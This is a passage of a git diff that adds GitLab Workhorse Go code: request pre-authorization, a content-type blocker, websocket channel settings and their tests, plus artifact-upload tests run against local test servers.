+honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
+honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+honnef.co/go/tools v0.0.1-2020.1.5 h1:nI5egYTGJakVyOryqLs1cQO5dO0ksin5XXs2pspk75k=
+honnef.co/go/tools v0.0.1-2020.1.5/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
+rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
+sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=
+sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU=
diff --git a/workhorse/internal/api/api.go b/workhorse/internal/api/api.go
new file mode 100644
index 00000000000..17fea398029
--- /dev/null
+++ b/workhorse/internal/api/api.go
@@ -0,0 +1,345 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "fmt"
+ "io"
+ "net/http"
+ "net/url"
+ "strconv"
+ "strings"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+)
+
+const (
+ // Custom content type for API responses, to catch routing / programming mistakes
+ ResponseContentType = "application/vnd.gitlab-workhorse+json"
+
+ failureResponseLimit = 32768
+)
+
+type API struct {
+ Client *http.Client
+ URL *url.URL
+ Version string
+}
+
+var (
+ requestsCounter = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_internal_api_requests",
+ Help: "How many internal API requests have been completed by gitlab-workhorse, partitioned by status code and HTTP method.",
+ },
+ []string{"code", "method"},
+ )
+ bytesTotal = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_internal_api_failure_response_bytes",
+ Help: "How many bytes have been returned by upstream GitLab in API failure/rejection response bodies.",
+ },
+ )
+)
+
+func NewAPI(myURL *url.URL, version string, roundTripper http.RoundTripper) *API {
+ return &API{
+ Client: &http.Client{Transport: roundTripper},
+ URL: myURL,
+ Version: version,
+ }
+}
+
+type HandleFunc func(http.ResponseWriter, *http.Request, *Response)
+
+type MultipartUploadParams struct {
+ // PartSize is the exact size of each uploaded part. Only the last one can be smaller
+ PartSize int64
+ // PartURLs contains the presigned URLs for each part
+ PartURLs []string
+ // CompleteURL is a presigned URL for CompleteMulipartUpload
+ CompleteURL string
+ // AbortURL is a presigned URL for AbortMultipartUpload
+ AbortURL string
+}
+
+type ObjectStorageParams struct {
+ Provider string
+ S3Config config.S3Config
+ GoCloudConfig config.GoCloudConfig
+}
+
+type RemoteObject struct {
+ // GetURL is an S3 GetObject URL
+ GetURL string
+ // DeleteURL is a presigned S3 RemoveObject URL
+ DeleteURL string
+ // StoreURL is the temporary presigned S3 PutObject URL to which upload the first found file
+ StoreURL string
+ // Boolean to indicate whether to use headers included in PutHeaders
+ CustomPutHeaders bool
+ // PutHeaders are HTTP headers (e.g. Content-Type) to be sent with StoreURL
+ PutHeaders map[string]string
+ // Whether to ignore Rails pre-signed URLs and have Workhorse directly access object storage provider
+ UseWorkhorseClient bool
+ // Remote, temporary object name where Rails will move to the final destination
+ RemoteTempObjectID string
+ // ID is a unique identifier of object storage upload
+ ID string
+ // Timeout is a number that represents timeout in seconds for sending data to StoreURL
+ Timeout int
+ // MultipartUpload contains presigned URLs for S3 MultipartUpload
+ MultipartUpload *MultipartUploadParams
+ // Object storage config for Workhorse client
+ ObjectStorage *ObjectStorageParams
+}
+
+type Response struct {
+ // GL_ID is an environment variable used by gitlab-shell hooks during 'git
+ // push' and 'git pull'
+ GL_ID string
+
+ // GL_USERNAME holds gitlab username of the user who is taking the action causing hooks to be invoked
+ GL_USERNAME string
+
+ // GL_REPOSITORY is an environment variable used by gitlab-shell hooks during
+ // 'git push' and 'git pull'
+ GL_REPOSITORY string
+ // GitConfigOptions holds the custom options that we want to pass to the git command
+ GitConfigOptions []string
+ // StoreLFSPath is provided by the GitLab Rails application to mark where the tmp file should be placed.
+ // This field is deprecated. GitLab will use TempPath instead
+ StoreLFSPath string
+ // LFS object id
+ LfsOid string
+ // LFS object size
+ LfsSize int64
+ // TmpPath is the path where we should store temporary files
+ // This is set by authorization middleware
+ TempPath string
+ // RemoteObject is provided by the GitLab Rails application
+ // and defines a way to store object on remote storage
+ RemoteObject RemoteObject
+ // Archive is the path where the artifacts archive is stored
+ Archive string `json:"archive"`
+ // Entry is a filename inside the archive point to file that needs to be extracted
+ Entry string `json:"entry"`
+ // Used to communicate channel session details
+ Channel *ChannelSettings
+ // GitalyServer specifies an address and authentication token for a gitaly server we should connect to.
+ GitalyServer gitaly.Server
+ // Repository object for making gRPC requests to Gitaly.
+ Repository gitalypb.Repository
+ // For git-http, does the requestor have the right to view all refs?
+ ShowAllRefs bool
+ // Detects whether an artifact is used for code intelligence
+ ProcessLsif bool
+ // Detects whether LSIF artifact will be parsed with references
+ ProcessLsifReferences bool
+ // The maximum accepted size in bytes of the upload
+ MaximumSize int64
+}
+
+// singleJoiningSlash is taken from reverseproxy.go:NewSingleHostReverseProxy
+func singleJoiningSlash(a, b string) string {
+ aslash := strings.HasSuffix(a, "/")
+ bslash := strings.HasPrefix(b, "/")
+ switch {
+ case aslash && bslash:
+ return a + b[1:]
+ case !aslash && !bslash:
+ return a + "/" + b
+ }
+ return a + b
+}
+
+// rebaseUrl is taken from reverseproxy.go:NewSingleHostReverseProxy
+func rebaseUrl(url *url.URL, onto *url.URL, suffix string) *url.URL {
+ newUrl := *url
+ newUrl.Scheme = onto.Scheme
+ newUrl.Host = onto.Host
+ if suffix != "" {
+ newUrl.Path = singleJoiningSlash(url.Path, suffix)
+ }
+ if onto.RawQuery == "" || newUrl.RawQuery == "" {
+ newUrl.RawQuery = onto.RawQuery + newUrl.RawQuery
+ } else {
+ newUrl.RawQuery = onto.RawQuery + "&" + newUrl.RawQuery
+ }
+ return &newUrl
+}
+
+func (api *API) newRequest(r *http.Request, suffix string) (*http.Request, error) {
+ authReq := &http.Request{
+ Method: r.Method,
+ URL: rebaseUrl(r.URL, api.URL, suffix),
+ Header: helper.HeaderClone(r.Header),
+ }
+
+ authReq = authReq.WithContext(r.Context())
+
+ // Clean some headers when issuing a new request without body
+ authReq.Header.Del("Content-Type")
+ authReq.Header.Del("Content-Encoding")
+ authReq.Header.Del("Content-Length")
+ authReq.Header.Del("Content-Disposition")
+ authReq.Header.Del("Accept-Encoding")
+
+ // Hop-by-hop headers. These are removed when sent to the backend.
+ // http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html
+ authReq.Header.Del("Transfer-Encoding")
+ authReq.Header.Del("Connection")
+ authReq.Header.Del("Keep-Alive")
+ authReq.Header.Del("Proxy-Authenticate")
+ authReq.Header.Del("Proxy-Authorization")
+ authReq.Header.Del("Te")
+ authReq.Header.Del("Trailers")
+ authReq.Header.Del("Upgrade")
+
+ // Also forward the Host header, which is excluded from the Header map by the http library.
+ // This allows the Host header received by the backend to be consistent with other
+ // requests not going through gitlab-workhorse.
+ authReq.Host = r.Host
+
+ return authReq, nil
+}
+
+// PreAuthorize performs a pre-authorization check against the API for the given HTTP request
+//
+// If `outErr` is set, the other fields will be nil and it should be treated as
+// a 500 error.
+//
+// If httpResponse is present, the caller is responsible for closing its body
+//
+// authResponse will only be present if the authorization check was successful
+func (api *API) PreAuthorize(suffix string, r *http.Request) (httpResponse *http.Response, authResponse *Response, outErr error) {
+ authReq, err := api.newRequest(r, suffix)
+ if err != nil {
+ return nil, nil, fmt.Errorf("preAuthorizeHandler newUpstreamRequest: %v", err)
+ }
+
+ httpResponse, err = api.doRequestWithoutRedirects(authReq)
+ if err != nil {
+ return nil, nil, fmt.Errorf("preAuthorizeHandler: do request: %v", err)
+ }
+ defer func() {
+ if outErr != nil {
+ httpResponse.Body.Close()
+ httpResponse = nil
+ }
+ }()
+ requestsCounter.WithLabelValues(strconv.Itoa(httpResponse.StatusCode), authReq.Method).Inc()
+
+ // This may be a false positive, e.g. for .../info/refs, rather than a
+ // failure, so pass the response back
+ if httpResponse.StatusCode != http.StatusOK || !validResponseContentType(httpResponse) {
+ return httpResponse, nil, nil
+ }
+
+ authResponse = &Response{}
+ // The auth backend validated the client request and told us additional
+ // request metadata. We must extract this information from the auth
+ // response body.
+ if err := json.NewDecoder(httpResponse.Body).Decode(authResponse); err != nil {
+ return httpResponse, nil, fmt.Errorf("preAuthorizeHandler: decode authorization response: %v", err)
+ }
+
+ return httpResponse, authResponse, nil
+}
+
+func (api *API) PreAuthorizeHandler(next HandleFunc, suffix string) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ httpResponse, authResponse, err := api.PreAuthorize(suffix, r)
+ if httpResponse != nil {
+ defer httpResponse.Body.Close()
+ }
+
+ if err != nil {
+ helper.Fail500(w, r, err)
+ return
+ }
+
+ // The response couldn't be interpreted as a valid auth response, so
+ // pass it back (mostly) unmodified
+ if httpResponse != nil && authResponse == nil {
+ passResponseBack(httpResponse, w, r)
+ return
+ }
+
+ httpResponse.Body.Close() // Free up the Unicorn worker
+
+ copyAuthHeader(httpResponse, w)
+
+ next(w, r, authResponse)
+ })
+}
+
+func (api *API) doRequestWithoutRedirects(authReq *http.Request) (*http.Response, error) {
+ signingTripper := secret.NewRoundTripper(api.Client.Transport, api.Version)
+
+ return signingTripper.RoundTrip(authReq)
+}
+
+func copyAuthHeader(httpResponse *http.Response, w http.ResponseWriter) {
+ // Negotiate authentication (Kerberos) may need to return a WWW-Authenticate
+ // header to the client even in case of success as per RFC4559.
+ for k, v := range httpResponse.Header {
+ // Case-insensitive comparison as per RFC7230
+ if strings.EqualFold(k, "WWW-Authenticate") {
+ w.Header()[k] = v
+ }
+ }
+}
+
+func passResponseBack(httpResponse *http.Response, w http.ResponseWriter, r *http.Request) {
+ // NGINX response buffering is disabled on this path (with
+ // X-Accel-Buffering: no) but we still want to free up the Unicorn worker
+ // that generated httpResponse as fast as possible. To do this we buffer
+ // the entire response body in memory before sending it on.
+ responseBody, err := bufferResponse(httpResponse.Body)
+ if err != nil {
+ helper.Fail500(w, r, err)
+ return
+ }
+ httpResponse.Body.Close() // Free up the Unicorn worker
+ bytesTotal.Add(float64(responseBody.Len()))
+
+ for k, v := range httpResponse.Header {
+ // Accommodate broken clients that do case-sensitive header lookup
+ if k == "Www-Authenticate" {
+ w.Header()["WWW-Authenticate"] = v
+ } else {
+ w.Header()[k] = v
+ }
+ }
+ w.WriteHeader(httpResponse.StatusCode)
+ if _, err := io.Copy(w, responseBody); err != nil {
+ helper.LogError(r, err)
+ }
+}
+
+func bufferResponse(r io.Reader) (*bytes.Buffer, error) {
+ responseBody := &bytes.Buffer{}
+ n, err := io.Copy(responseBody, io.LimitReader(r, failureResponseLimit))
+ if err != nil {
+ return nil, err
+ }
+
+ if n == failureResponseLimit {
+ return nil, fmt.Errorf("response body exceeded maximum buffer size (%d bytes)", failureResponseLimit)
+ }
+
+ return responseBody, nil
+}
+
+func validResponseContentType(resp *http.Response) bool {
+ return helper.IsContentType(ResponseContentType, resp.Header.Get("Content-Type"))
+}
diff --git a/workhorse/internal/api/block.go b/workhorse/internal/api/block.go
new file mode 100644
index 00000000000..92322906c03
--- /dev/null
+++ b/workhorse/internal/api/block.go
@@ -0,0 +1,61 @@
+package api
+
+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+// Prevent internal API responses intended for gitlab-workhorse from
+// leaking to the end user
+func Block(h http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ rw := &blocker{rw: w, r: r}
+ defer rw.flush()
+ h.ServeHTTP(rw, r)
+ })
+}
+
+type blocker struct {
+ rw http.ResponseWriter
+ r *http.Request
+ hijacked bool
+ status int
+}
+
+func (b *blocker) Header() http.Header {
+ return b.rw.Header()
+}
+
+func (b *blocker) Write(data []byte) (int, error) {
+ if b.status == 0 {
+ b.WriteHeader(http.StatusOK)
+ }
+ if b.hijacked {
+ return len(data), nil
+ }
+
+ return b.rw.Write(data)
+}
+
+func (b *blocker) WriteHeader(status int) {
+ if b.status != 0 {
+ return
+ }
+
+ if helper.IsContentType(ResponseContentType, b.Header().Get("Content-Type")) {
+ b.status = 500
+ b.Header().Del("Content-Length")
+ b.hijacked = true
+ helper.Fail500(b.rw, b.r, fmt.Errorf("api.blocker: forbidden content-type: %q", ResponseContentType))
+ return
+ }
+
+ b.status = status
+ b.rw.WriteHeader(b.status)
+}
+
+func (b *blocker) flush() {
+ b.WriteHeader(http.StatusOK)
+}
diff --git a/workhorse/internal/api/block_test.go b/workhorse/internal/api/block_test.go
new file mode 100644
index 00000000000..85ad54f3cfd
--- /dev/null
+++ b/workhorse/internal/api/block_test.go
@@ -0,0 +1,56 @@
+package api
+
+import (
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestBlocker(t *testing.T) {
+ upstreamResponse := "hello world"
+
+ testCases := []struct {
+ desc string
+ contentType string
+ out string
+ }{
+ {
+ desc: "blocked",
+ contentType: ResponseContentType,
+ out: "Internal server error\n",
+ },
+ {
+ desc: "pass",
+ contentType: "text/plain",
+ out: upstreamResponse,
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ r, err := http.NewRequest("GET", "/foo", nil)
+ require.NoError(t, err)
+
+ rw := httptest.NewRecorder()
+ bl := &blocker{rw: rw, r: r}
+ bl.Header().Set("Content-Type", tc.contentType)
+
+ upstreamBody := []byte(upstreamResponse)
+ n, err := bl.Write(upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+
+ rw.Flush()
+
+ body := rw.Result().Body
+ data, err := ioutil.ReadAll(body)
+ require.NoError(t, err)
+ require.NoError(t, body.Close())
+
+ require.Equal(t, tc.out, string(data))
+ })
+ }
+}
diff --git a/workhorse/internal/api/channel_settings.go b/workhorse/internal/api/channel_settings.go
new file mode 100644
index 00000000000..bf3094c9c91
--- /dev/null
+++ b/workhorse/internal/api/channel_settings.go
@@ -0,0 +1,122 @@
+package api
+
+import (
+ "crypto/tls"
+ "crypto/x509"
+ "fmt"
+ "net/http"
+ "net/url"
+
+ "github.com/gorilla/websocket"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+type ChannelSettings struct {
+ // The channel provider may require use of a particular subprotocol. If so,
+ // it must be specified here, and Workhorse must have a matching codec.
+ Subprotocols []string
+
+ // The websocket URL to connect to.
+ Url string
+
+ // Any headers (e.g., Authorization) to send with the websocket request
+ Header http.Header
+
+ // The CA roots to validate the remote endpoint with, for wss:// URLs. The
+ // system-provided CA pool will be used if this is blank. PEM-encoded data.
+ CAPem string
+
+ // The value is specified in seconds. It is converted to time.Duration
+ // later.
+ MaxSessionTime int
+}
+
+func (t *ChannelSettings) URL() (*url.URL, error) {
+ return url.Parse(t.Url)
+}
+
+func (t *ChannelSettings) Dialer() *websocket.Dialer {
+ dialer := &websocket.Dialer{
+ Subprotocols: t.Subprotocols,
+ }
+
+ if len(t.CAPem) > 0 {
+ pool := x509.NewCertPool()
+ pool.AppendCertsFromPEM([]byte(t.CAPem))
+ dialer.TLSClientConfig = &tls.Config{RootCAs: pool}
+ }
+
+ return dialer
+}
+
+func (t *ChannelSettings) Clone() *ChannelSettings {
+ // Doesn't clone the strings, but that's OK as strings are immutable in go
+ cloned := *t
+ cloned.Header = helper.HeaderClone(t.Header)
+ return &cloned
+}
+
+func (t *ChannelSettings) Dial() (*websocket.Conn, *http.Response, error) {
+ return t.Dialer().Dial(t.Url, t.Header)
+}
+
+func (t *ChannelSettings) Validate() error {
+ if t == nil {
+ return fmt.Errorf("channel details not specified")
+ }
+
+ if len(t.Subprotocols) == 0 {
+ return fmt.Errorf("no subprotocol specified")
+ }
+
+ parsedURL, err := t.URL()
+ if err != nil {
+ return fmt.Errorf("invalid URL")
+ }
+
+ if parsedURL.Scheme != "ws" && parsedURL.Scheme != "wss" {
+ return fmt.Errorf("invalid websocket scheme: %q", parsedURL.Scheme)
+ }
+
+ return nil
+}
+
+func (t *ChannelSettings) IsEqual(other *ChannelSettings) bool {
+ if t == nil && other == nil {
+ return true
+ }
+
+ if t == nil || other == nil {
+ return false
+ }
+
+ if len(t.Subprotocols) != len(other.Subprotocols) {
+ return false
+ }
+
+ for i, subprotocol := range t.Subprotocols {
+ if other.Subprotocols[i] != subprotocol {
+ return false
+ }
+ }
+
+ if len(t.Header) != len(other.Header) {
+ return false
+ }
+
+ for header, values := range t.Header {
+ if len(values) != len(other.Header[header]) {
+ return false
+ }
+ for i, value := range values {
+ if other.Header[header][i] != value {
+ return false
+ }
+ }
+ }
+
+ return t.Url == other.Url &&
+ t.CAPem == other.CAPem &&
+ t.MaxSessionTime == other.MaxSessionTime
+}
diff --git a/workhorse/internal/api/channel_settings_test.go b/workhorse/internal/api/channel_settings_test.go
new file mode 100644
index 00000000000..4aa2c835579
--- /dev/null
+++ b/workhorse/internal/api/channel_settings_test.go
@@ -0,0 +1,154 @@
+package api
+
+import (
+ "net/http"
+ "testing"
+)
+
+func channel(url string, subprotocols ...string) *ChannelSettings {
+ return &ChannelSettings{
+ Url: url,
+ Subprotocols: subprotocols,
+ MaxSessionTime: 0,
+ }
+}
+
+func ca(channel *ChannelSettings) *ChannelSettings {
+ channel = channel.Clone()
+ channel.CAPem = "Valid CA data"
+
+ return channel
+}
+
+func timeout(channel *ChannelSettings) *ChannelSettings {
+ channel = channel.Clone()
+ channel.MaxSessionTime = 600
+
+ return channel
+}
+
+func header(channel *ChannelSettings, values ...string) *ChannelSettings {
+ if len(values) == 0 {
+ values = []string{"Dummy Value"}
+ }
+
+ channel = channel.Clone()
+ channel.Header = http.Header{
+ "Header": values,
+ }
+
+ return channel
+}
+
+func TestClone(t *testing.T) {
+ a := ca(header(channel("ws:", "", "")))
+ b := a.Clone()
+
+ if a == b {
+ t.Fatalf("Address of cloned channel didn't change")
+ }
+
+ if &a.Subprotocols == &b.Subprotocols {
+ t.Fatalf("Address of cloned subprotocols didn't change")
+ }
+
+ if &a.Header == &b.Header {
+ t.Fatalf("Address of cloned header didn't change")
+ }
+}
+
+func TestValidate(t *testing.T) {
+ for i, tc := range []struct {
+ channel *ChannelSettings
+ valid bool
+ msg string
+ }{
+ {nil, false, "nil channel"},
+ {channel("", ""), false, "empty URL"},
+ {channel("ws:"), false, "empty subprotocols"},
+ {channel("ws:", "foo"), true, "any subprotocol"},
+ {channel("ws:", "foo", "bar"), true, "multiple subprotocols"},
+ {channel("ws:", ""), true, "websocket URL"},
+ {channel("wss:", ""), true, "secure websocket URL"},
+ {channel("http:", ""), false, "HTTP URL"},
+ {channel("https:", ""), false, " HTTPS URL"},
+ {ca(channel("ws:", "")), true, "any CA pem"},
+ {header(channel("ws:", "")), true, "any headers"},
+ {ca(header(channel("ws:", ""))), true, "PEM and headers"},
+ } {
+ if err := tc.channel.Validate(); (err != nil) == tc.valid {
+ t.Fatalf("test case %d: "+tc.msg+": valid=%v: %s: %+v", i, tc.valid, err, tc.channel)
+ }
+ }
+}
+
+func TestDialer(t *testing.T) {
+ channel := channel("ws:", "foo")
+ dialer := channel.Dialer()
+
+ if len(dialer.Subprotocols) != len(channel.Subprotocols) {
+ t.Fatalf("Subprotocols don't match: %+v vs. %+v", channel.Subprotocols, dialer.Subprotocols)
+ }
+
+ for i, subprotocol := range channel.Subprotocols {
+ if dialer.Subprotocols[i] != subprotocol {
+ t.Fatalf("Subprotocols don't match: %+v vs. %+v", channel.Subprotocols, dialer.Subprotocols)
+ }
+ }
+
+ if dialer.TLSClientConfig != nil {
+ t.Fatalf("Unexpected TLSClientConfig: %+v", dialer)
+ }
+
+ channel = ca(channel)
+ dialer = channel.Dialer()
+
+ if dialer.TLSClientConfig == nil || dialer.TLSClientConfig.RootCAs == nil {
+ t.Fatalf("Custom CA certificates not recognised!")
+ }
+}
+
+func TestIsEqual(t *testing.T) {
+ chann := channel("ws:", "foo")
+
+ chann_header2 := header(chann, "extra")
+ chann_header3 := header(chann)
+ chann_header3.Header.Add("Extra", "extra")
+
+ chann_ca2 := ca(chann)
+ chann_ca2.CAPem = "other value"
+
+ for i, tc := range []struct {
+ channelA *ChannelSettings
+ channelB *ChannelSettings
+ expected bool
+ }{
+ {nil, nil, true},
+ {chann, nil, false},
+ {nil, chann, false},
+ {chann, chann, true},
+ {chann.Clone(), chann.Clone(), true},
+ {chann, channel("foo:"), false},
+ {chann, channel(chann.Url), false},
+ {header(chann), header(chann), true},
+ {chann_header2, chann_header2, true},
+ {chann_header3, chann_header3, true},
+ {header(chann), chann_header2, false},
+ {header(chann), chann_header3, false},
+ {header(chann), chann, false},
+ {chann, header(chann), false},
+ {ca(chann), ca(chann), true},
+ {ca(chann), chann, false},
+ {chann, ca(chann), false},
+ {ca(header(chann)), ca(header(chann)), true},
+ {chann_ca2, ca(chann), false},
+ {chann, timeout(chann), false},
+ } {
+ if actual := tc.channelA.IsEqual(tc.channelB); tc.expected != actual {
+ t.Fatalf(
+ "test case %d: Comparison:\n-%+v\n+%+v\nexpected=%v: actual=%v",
+ i, tc.channelA, tc.channelB, tc.expected, actual,
+ )
+ }
+ }
+}
diff --git a/workhorse/internal/artifacts/artifacts_store_test.go b/workhorse/internal/artifacts/artifacts_store_test.go
new file mode 100644
index 00000000000..bd56d9ea725
--- /dev/null
+++ b/workhorse/internal/artifacts/artifacts_store_test.go
@@ -0,0 +1,338 @@
+package artifacts
+
+import (
+ "archive/zip"
+ "bytes"
+ "crypto/md5"
+ "encoding/hex"
+ "fmt"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func createTestZipArchive(t *testing.T) (data []byte, md5Hash string) {
+ var buffer bytes.Buffer
+ archive := zip.NewWriter(&buffer)
+ fileInArchive, err := archive.Create("test.file")
+ require.NoError(t, err)
+ fmt.Fprint(fileInArchive, "test")
+ archive.Close()
+ data = buffer.Bytes()
+
+ hasher := md5.New()
+ hasher.Write(data)
+ hexHash := hasher.Sum(nil)
+ md5Hash = hex.EncodeToString(hexHash)
+
+ return data, md5Hash
+}
+
+func createTestMultipartForm(t *testing.T, data []byte) (bytes.Buffer, string) {
+ var buffer bytes.Buffer
+ writer := multipart.NewWriter(&buffer)
+ file, err := writer.CreateFormFile("file", "my.file")
+ require.NoError(t, err)
+ file.Write(data)
+ writer.Close()
+ return buffer, writer.FormDataContentType()
+}
+
+func testUploadArtifactsFromTestZip(t *testing.T, ts *httptest.Server) *httptest.ResponseRecorder {
+ archiveData, _ := createTestZipArchive(t)
+ contentBuffer, contentType := createTestMultipartForm(t, archiveData)
+
+ return testUploadArtifacts(t, contentType, ts.URL+Path, &contentBuffer)
+}
+
+func TestUploadHandlerSendingToExternalStorage(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(tempPath)
+
+ archiveData, md5 := createTestZipArchive(t)
+ archiveFile, err := ioutil.TempFile("", "artifact.zip")
+ require.NoError(t, err)
+ defer os.Remove(archiveFile.Name())
+ _, err = archiveFile.Write(archiveData)
+ require.NoError(t, err)
+ archiveFile.Close()
+
+ storeServerCalled := 0
+ storeServerMux := http.NewServeMux()
+ storeServerMux.HandleFunc("/url/put", func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "PUT", r.Method)
+
+ receivedData, err := ioutil.ReadAll(r.Body)
+ require.NoError(t, err)
+ require.Equal(t, archiveData, receivedData)
+
+ storeServerCalled++
+ w.Header().Set("ETag", md5)
+ w.WriteHeader(200)
+ })
+ storeServerMux.HandleFunc("/store-id", func(w http.ResponseWriter, r *http.Request) {
+ http.ServeFile(w, r, archiveFile.Name())
+ })
+
+ responseProcessorCalled := 0
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "store-id", r.FormValue("file.remote_id"))
+ require.NotEmpty(t, r.FormValue("file.remote_url"))
+ w.WriteHeader(200)
+ responseProcessorCalled++
+ }
+
+ storeServer := httptest.NewServer(storeServerMux)
+ defer storeServer.Close()
+
+ qs := fmt.Sprintf("?%s=%s", ArtifactFormatKey, ArtifactFormatZip)
+
+ tests := []struct {
+ name string
+ preauth api.Response
+ }{
+ {
+ name: "ObjectStore Upload",
+ preauth: api.Response{
+ RemoteObject: api.RemoteObject{
+ StoreURL: storeServer.URL + "/url/put" + qs,
+ ID: "store-id",
+ GetURL: storeServer.URL + "/store-id",
+ },
+ },
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ storeServerCalled = 0
+ responseProcessorCalled = 0
+
+ ts := testArtifactsUploadServer(t, test.preauth, responseProcessor)
+ defer ts.Close()
+
+ contentBuffer, contentType := createTestMultipartForm(t, archiveData)
+ response := testUploadArtifacts(t, contentType, ts.URL+Path+qs, &contentBuffer)
+ require.Equal(t, http.StatusOK, response.Code)
+ testhelper.RequireResponseHeader(t, response, MetadataHeaderKey, MetadataHeaderPresent)
+ require.Equal(t, 1, storeServerCalled, "store should be called only once")
+ require.Equal(t, 1, responseProcessorCalled, "response processor should be called only once")
+ })
+ }
+}
+
+func TestUploadHandlerSendingToExternalStorageAndStorageServerUnreachable(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(tempPath)
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
+ authResponse := api.Response{
+ TempPath: tempPath,
+ RemoteObject: api.RemoteObject{
+ StoreURL: "http://localhost:12323/invalid/url",
+ ID: "store-id",
+ },
+ }
+
+ ts := testArtifactsUploadServer(t, authResponse, responseProcessor)
+ defer ts.Close()
+
+ response := testUploadArtifactsFromTestZip(t, ts)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+}
+
+func TestUploadHandlerSendingToExternalStorageAndInvalidURLIsUsed(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(tempPath)
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
+ authResponse := api.Response{
+ TempPath: tempPath,
+ RemoteObject: api.RemoteObject{
+ StoreURL: "htt:////invalid-url",
+ ID: "store-id",
+ },
+ }
+
+ ts := testArtifactsUploadServer(t, authResponse, responseProcessor)
+ defer ts.Close()
+
+ response := testUploadArtifactsFromTestZip(t, ts)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+}
+
+func TestUploadHandlerSendingToExternalStorageAndItReturnsAnError(t *testing.T) {
+ putCalledTimes := 0
+
+ storeServerMux := http.NewServeMux()
+ storeServerMux.HandleFunc("/url/put", func(w http.ResponseWriter, r *http.Request) {
+ putCalledTimes++
+ require.Equal(t, "PUT", r.Method)
+ w.WriteHeader(510)
+ })
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
+ storeServer := httptest.NewServer(storeServerMux)
+ defer storeServer.Close()
+
+ authResponse := api.Response{
+ RemoteObject: api.RemoteObject{
+ StoreURL: storeServer.URL + "/url/put",
+ ID: "store-id",
+ },
+ }
+
+ ts := testArtifactsUploadServer(t, authResponse, responseProcessor)
+ defer ts.Close()
+
+ response := testUploadArtifactsFromTestZip(t, ts)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+ require.Equal(t, 1, putCalledTimes, "upload should be called only once")
+}
+
+func TestUploadHandlerSendingToExternalStorageAndSupportRequestTimeout(t *testing.T) {
+ putCalledTimes := 0
+
+ storeServerMux := http.NewServeMux()
+ storeServerMux.HandleFunc("/url/put", func(w http.ResponseWriter, r *http.Request) {
+ putCalledTimes++
+ require.Equal(t, "PUT", r.Method)
+ time.Sleep(10 * time.Second)
+ w.WriteHeader(510)
+ })
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
